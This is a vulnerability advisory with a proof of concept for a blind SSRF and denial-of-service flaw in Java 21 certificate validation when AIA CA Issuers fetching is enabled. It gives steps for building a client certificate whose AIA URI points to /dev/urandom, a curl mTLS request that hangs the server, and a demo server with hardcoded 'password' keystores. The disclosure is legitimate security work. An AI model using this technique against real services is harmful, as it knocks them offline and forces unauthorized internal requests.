Blind SSRF/DoS in Java TLS x509 AIA Extension
A Blind Server-Side Request Forgery (SSRF) vulnerability exists in Oracle Java 21. The vulnerability, which leads to Denial of Service (DoS), is present in the x509 certificate path validation mechanism when the non-default system property com.sun.security.enableAIAcaIssuers is set to true.
When enabled, the application attempts to retrieve the issuing CA certificate using the Uniform Resource Identifier (URI) specified in the client certificate’s Authority Information Access (AIA) extension. This retrieval occurs before the client certificate is fully validated. An unauthenticated, remote attacker can exploit this during the mTLS handshake by presenting a crafted certificate containing a malicious URI in the CA Issuers field.
Successful exploitation allows the attacker to trigger SSRF by forcing the server to connect to arbitrary network locations (HTTP, LDAP, FTP) in order to cause a Denial of Service (DoS) by pointing the URI to a non-blocking infinite stream (e.g., file:///dev/urandom), resulting in thread exhaustion and high CPU utilization.
Proof of Concept
The following steps demonstrate the Denial of Service condition on an Ubuntu 24.04 LTS system running OpenJDK 21.0.8.
1. Verification of Environment Ensure the target is running the affected Java version:
java -version
# Output:
# openjdk version “21.0.8” 2025-07-15
# OpenJDK Runtime Environment (build 21.0.8+9-Ubuntu-0ubuntu124.04.1)
2. Malicious Certificate Preparation The attacker generates a client certificate (client-aia-random-cert.pem) where the Authority Information Access (AIA) extension points to /dev/urandom.
Authority Information Access:
CA Issuers – URI:file:///dev/urandom
3. Starting the Vulnerable Server The server (see source below) is started with the AIA CA Issuers property enabled:
java -Djavax.net.debug=ssl \
-Dcom.sun.security.enableAIAcaIssuers=true \
-jar java-server-v1.jar
4. Triggering the Vulnerability The attacker initiates an mTLS connection using the crafted certificate.
curl –cacert ca-cert.pem \
–resolve mtls-server:8444:127.0.0.1 \
https://mtls-server:8444 \
-I -X GET \
–key client-aia-key.pem \
–cert client-aia-random-cert.pem
5. Result Upon receiving the request, the server attempts to read from the URI specified in the certificate. Because the URI points to /dev/urandom, the server enters an infinite loop trying to read the stream. The client may disconnect immediately, but the server thread remains stuck, maxing out a CPU core and failing to serve subsequent requests, effectively causing a Denial of Service.
Java Server Program Source
public class Server {
public static void main(String[] args) throws Exception {
String keystore = “keystore.p12”;
String truststore = “truststore.p12”;
char[] keystorePass = “password”.toCharArray();
char[] truststorePass = “password”.toCharArray();
int port = 8444;
KeyManagerFactory kmf = getKeyManagerFactory(keystore, keystorePass);
TrustManagerFactory tmf = getTrustManagerFactory(truststore, truststorePass);
SSLContext sslContext = getSSLContext(kmf, tmf);
HttpsServer server = HttpsServer.create(new InetSocketAddress(port), 0);
server.setHttpsConfigurator(new HttpsConfigurator(sslContext) {
@Override
public void configure(HttpsParameters params) {
SSLParameters sslParams = getSSLContext().getDefaultSSLParameters();
sslParams.setNeedClientAuth(true);
params.setSSLParameters(sslParams);
}
});
server.createContext(“/”, handler -> {
Certificate[] peerCerts = ((HttpsExchange) handler).getSSLSession().getPeerCertificates();
X509Certificate peerLeafCert = (X509Certificate) peerCerts[0];
String peerLeafCertSubject = peerLeafCert.getSubjectX500Principal().toString();
System.out.println(peerLeafCertSubject);
String resp = “response\n”;
handler.sendResponseHeaders(200, resp.length());
try (OutputStream os = handler.getResponseBody()) {
os.write(resp.getBytes());
}
});
System.out.println(“Starting server on port: “ + port);
new Thread(server::start).start();
}
private static SSLContext getSSLContext(KeyManagerFactory kmf, TrustManagerFactory tmf) throws Exception {
SSLContext sslContext = SSLContext.getInstance(“TLS”);
sslContext.init(kmf.getKeyManagers(), tmf.getTrustManagers(), null);
return sslContext;
}
private static KeyManagerFactory getKeyManagerFactory(String keystore, char[] password) throws Exception {
KeyStore ks = KeyStore.getInstance(“PKCS12”);
try (FileInputStream fis = new FileInputStream(keystore)) {
ks.load(fis, password);
}
KeyManagerFactory kmf = KeyManagerFactory.getInstance(“PKIX”);
kmf.init(ks, password);
return kmf;
}
private static TrustManagerFactory getTrustManagerFactory(String truststore, char[] password) throws Exception {
KeyStore ts = KeyStore.getInstance(“PKCS12”);
try (FileInputStream fis = new FileInputStream(truststore)) {
ts.load(fis, password);
}
TrustManagerFactory tmf = TrustManagerFactory.getInstance(“PKIX”);
tmf.init(ts);
return tmf;
}
}





